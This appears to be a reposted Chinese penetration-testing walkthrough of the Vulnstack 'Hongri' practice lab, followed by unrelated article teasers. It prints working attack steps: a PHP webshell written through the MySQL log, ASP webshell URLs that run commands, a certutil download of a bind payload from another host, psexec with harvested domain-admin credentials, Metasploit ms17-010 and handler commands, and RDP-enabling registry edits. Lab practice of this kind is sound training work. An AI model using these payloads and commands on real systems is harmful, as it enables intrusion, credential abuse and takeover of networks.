红日靶场全流程渗透测试

2023-12-23 08:59

本文主要是介绍红日靶场全流程渗透测试,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

作者:linshao


靶场下载地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/


目录

web->内网(两条路线:)

 一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell

 二.目录扫描yxcms.rar->后台弱口令->模板写shell

内网->域控(三条线路:)

一.密码抓取->寻找域控->psexec登录域控->get

 二.主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get

三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get


一、web->内网

一.php探针->mysql弱口令->目录扫描phpmyadmin->日志写shell

1.mysql弱口令:主页尝试root/root数据库连接正常

2.目录扫描phpmyadmin:目录扫描存在phpmyadmin

3.日志写shell:

    文件导出被禁止

    测试一下确实无法导出

    select "test" into outfile "C:\\www\\phpstudy\\test.php"

    使用日志写shell

  //设置日志文件,web绝对路径可以从探针得知

SET GLOBAL general_log_file = "C:\phpStudy\WWW\1.php";set global general_log='on';      //开启日志SELECT '<?php assert($_REQUEST["cmd"]);?>';

4.访问成功:


二.目录扫描yxcms.rar->后台弱口令->模板写shell

1.目录扫描yxcms.rar:

2.登录后台,新建模板

3.访问shell,模板文件位置可在本地搭建环境得知


内网->域控

先上线cs,powershell上线失败,生成exe上线成功

一.密码抓取->寻找域控->psexec登录域控

密码抓取

Administrator/Admin@123

开启远程桌面:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

netstat -an findstr 3389查看是否开启成功

远程登录成功

查找域控

以下几个命令都可以获取到域名

systeminfo

ipconfig /all

查找域管

net group "Domain Admins" /do

获取域控ip:

psexec登录:

上传psexec到192.168.1.11执行命令

psexec \\192.168.52.138 -u Administrator -p Admin@123 -s cmd

会回弹一个system权限的cmd回来

到此最简单的获取域控线路结束

二. 主机发现->漏洞扫描->域控存在ms17-010->msf代理攻击->get

主机发现:

arp-a

存在192.168.52.0/24网段

上传nbtscan(就是快!!!)扫描网段,结果ip放置于1.txt(边界ip为192.168.52.143,排除),DC为...138

(实战中可以白天和晚上各扫描一遍来对比)

漏洞扫描:

上传fscan (内网大保健!!!) 扫描1.txt内ip (fscan也可直接扫网段)

根据结果可以看到138和141都存在ms17-010

msf代理攻击:

但是该机器收不到reverce_shell,判断不出网,遂使用cs创建代理隧道

使用proxychains代理msf对内网进行攻击,

由于边界机器win7出网,因此使用lcx监听本地端口转发到msf (边界不出网用pystinger,或者reg打通隧道在整)

如图:

cs创建socks4隧道

kali设置代理:

cs所在ip为192.168.1.2

刚刚设置的socks代理端口为12345

配置proxychains:

kali打开终端,su切换root用户

输入vi /etc/proxychains4.conf

最后一行添加socks4 ip port

按esc输入wq!保存

打开终端输入proxychains firefox访问192.168.52.138:80代理成功

现在我们可以使用proxychains使msf走代理攻击到192.168.52.138,但是无法获得meterpreter会话,因此下一步使用lcx进行端口转发接收meterpreter

win7使用lcx转发

上传lcx到win7,执行命令对55555进行监听:lcx -tran 55555 192.168.1.12:4444

(命令解释:通过lcx监听本地5555端口,收到数据后转发到192.168.1.12的4444端口,

因此kali需要设置监听4444来接收shell)

l

msf监听4444端口:

kali启动终端,输入:msfconsole启动msf

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.12

set lport 4444

run

proxychains代理msf对域控(192.168.52.138)进行ms17-010攻击

kali启动终端,输入:proxychains msfconsole启动msf

use windows/smb/ms17_010_psexec

set rhosts 192.168.52.138

set lhost 192.168.52.143

set lport 55555

run

攻击完成kali成功获取到会话

至此成功获取到域控,另外可再起一个lcx进程端口来接受192.168.52.139(域内一台server2008机器)的会话

lcx监听55556,同样转发到192.168.1.12的4444

输入:background 把已获取的session放到后台,然后继续监听4444

切换到msf攻击终端去

set rhosts 192.168.52.139

set lport 55556

run

可以看到成功以边界机器win7为跳板同时管理域内多台主机的会话,此方法适用于存在边界机器的不出网内网渗透,以及全不出网机器打通隧道的内网渗透

server2003(192.168.52.141)是x86位系统,因为测试时使用ms17-010的payload打蓝屏了

所以我新增加的主机192.168.52.138,方便达到测试效果

几个反弹shell的payload都不可成功弹shell回来(包括x86的)

不过信息安全的男生是绝不会轻易认输的

再次对192.168.52.141使用nmap漏洞扫描

发现存在ms08-067,再次使用msf进行测试,不过,又失败了。应该是payload的原因,两个漏洞都是接收shell哪儿是有反应的,但meterpreter会话不可用。

渗透本就是逆天而行,死在路上也很正常

经过反复测试

admin/smb/ms17_010_command模块是可以成功执行命令的(多执行几次,有时候会失效)

可以通过

use admin/smb/ms17_010_command

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'

set rhosts 192.168.52.141

run

来开启server2008的远程端口,再通过域管账户登录上去

至此,域内机器已全部get

三.主机发现->端口扫描->redis未授权->getshell->正向上线msf->提权->get

主机发现:

沿用以上获取到的ip

端口扫描:

使用fscan批量扫描网段6379:得知192.168.52.138上开放redis端口

且其开放80端口为iis,可尝试redis写webshell

redis未授权:

上传redis-cli.exe到边界服务器win7上(也可以不上传,流量走代理)

执行redis-cli.exe -h 192.168.52.138 -p 6379

发现redis存在未授权,尝试写出asp一句话

getshell:

尝试访问成功

当前权限iis

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd.exe /c whoami").stdout.readall)

正向连接上线msf:

由于不出网,使用msf生成木马通过代理正向连接

上传bind.exe到win7

上传hfs.exe简易http服务器到win7搭建http服务(点开即用,方便极了)

访问连接通过执行certutil命令下载木马到c:\windows\temp\

(%26为&,命令连接符)

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c cd C:\Windows\Temp %26 certutil -urlcache -split -f http://192.168.52.143/bind.exe").stdout.readall)

访问链接执行bind.exe

http://192.168.52.138/test.asp?linshao=response.write(server.createobject("wscript.shell").exec("cmd /c C:\Windows\Temp\ind.exe").stdout.readall)

执行后目标已开放4444端口:

注意:bind_tcp的端口对于其他程序来说是一次性的,也就是说不能扫描,否则bind.exe接收到的数据异常会导致程序崩溃。上图我扫描端口就引起了程序崩溃。重新访问启动木马,访问时候看到速度比较慢则启动木马成功

使用代理的msf进行连接:

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

set rhost 192.168.52.138

set lport 4444

run

运行后通过代理连接到域控的4444端口,但是权限特别低(iis权限),下一步进行提权

提权:cve2018-8210提权

sysinfo查看得知系统为2008r2,使用cve2018-8210提权(08系统的提权漏洞挺多的)

#msf上传文件:

upload x64.exe c:\\windows\\temp\\x64.exe

#添加计划任务重新运行bind.exe:

execute -f 'cmd /c at 9:29 c:\\windows\\temp\\x64.exe "c:\\windows\\temp\\bind.exe"'

#退出当前会话,

exit

#等待定时任务执行完毕后再次run

run

成功获取到system权限

TIPS:bind_tcp的会话还是比较不爽的,执行命令只能通过execute -f "whoami"执行,不过这里应该是我有层代理的原因。不是直连的所以会无法获取交互式shell


'一闪一闪亮晶晶,满天都是小星星’

这篇关于红日靶场全流程渗透测试的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/527464

相关文章

Security OAuth2 单点登录流程

单点登录(英语:Single sign-on,缩写为 SSO),又译为单一签入,一种对于许多相互关连,但是又是各自独立的软件系统,提供访问控制的属性。当拥有这项属性时,当用户登录时,就可以获取所有系统的访问权限,不用对每个单一系统都逐一登录。这项功能通常是以轻型目录访问协议(LDAP)来实现,在服务器上会将用户信息存储到LDAP数据库中。相同的,单一注销(single sign-off)就是指

Spring Security基于数据库验证流程详解

Spring Security 校验流程图 相关解释说明(认真看哦) AbstractAuthenticationProcessingFilter 抽象类 /*** 调用 #requiresAuthentication(HttpServletRequest, HttpServletResponse) 决定是否需要进行验证操作。* 如果需要验证,则会调用 #attemptAuthentica

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除

火语言RPA流程组件介绍--浏览网页

🚩【组件功能】:浏览器打开指定网址或本地html文件 配置预览 配置说明 网址URL 支持T或# 默认FLOW输入项 输入需要打开的网址URL 超时时间 支持T或# 打开网页超时时间 执行后后等待时间(ms) 支持T或# 当前组件执行完成后继续等待的时间 UserAgent 支持T或# User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器

Verybot之OpenCV应用一:安装与图像采集测试

在Verybot上安装OpenCV是很简单的,只需要执行:         sudo apt-get update         sudo apt-get install libopencv-dev         sudo apt-get install python-opencv         下面就对安装好的OpenCV进行一下测试,编写一个通过USB摄像头采